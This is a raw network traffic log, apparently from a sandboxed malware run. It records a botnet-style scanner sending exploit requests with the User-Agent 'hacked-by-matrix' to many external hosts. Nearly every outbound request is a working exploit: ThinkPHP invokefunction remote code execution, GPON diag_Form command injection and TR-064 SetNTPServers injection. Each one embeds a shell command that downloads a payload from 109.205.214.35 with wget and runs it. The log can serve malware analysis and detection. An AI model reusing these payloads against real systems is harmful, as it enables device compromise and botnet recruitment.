Mar 21, 2024 05:22:33.258018970 CET	308	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:33 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
836	192.168.2.14	47814	95.216.74.168	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.170351982 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:32.396492958 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:22:32 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
837	192.168.2.14	59242	95.217.164.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.170505047 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:32.396588087 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
838	192.168.2.14	34630	95.163.214.116	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.171168089 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:32.396943092 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:32 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
839	192.168.2.14	56796	178.151.197.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.301306963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
840	192.168.2.14	52738	210.122.111.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.301341057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
841	192.168.2.14	57126	178.172.64.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.301393986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
842	192.168.2.14	34870	212.36.151.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.301415920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
843	192.168.2.14	50710	2.180.73.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.301945925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
844	192.168.2.14	44166	109.153.23.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.301970959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
845	192.168.2.14	52700	88.151.64.165	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.396636009 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:32.590287924 CET	461	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:32 GMT Server: Apache Content-Length: 283 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 64 65 66 61 75 6c 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at default Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
846	192.168.2.14	59280	95.217.164.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.590368032 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
847	192.168.2.14	32842	41.1.83.59	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:33.974375963 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:34.334573984 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Thu, 21 Mar 2024 05:22:35 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>
Mar 21, 2024 05:22:35.358840942 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Thu, 21 Mar 2024 05:22:35 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
848	192.168.2.14	32864	41.1.83.59	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:34.334124088 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:34.679466963 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Thu, 21 Mar 2024 05:22:36 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>
Mar 21, 2024 05:22:35.768311024 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Thu, 21 Mar 2024 05:22:36 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
849	192.168.2.14	44584	177.96.9.84	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:34.649688959 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:35.775315046 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:37.117260933 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:39.809174061 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:45.180977106 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:55.932528973 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
850	192.168.2.14	47782	99.228.169.30	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:34.747325897 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
851	192.168.2.14	47798	99.228.169.30	7547

Timestamp	Bytes transferred	Direction	Data
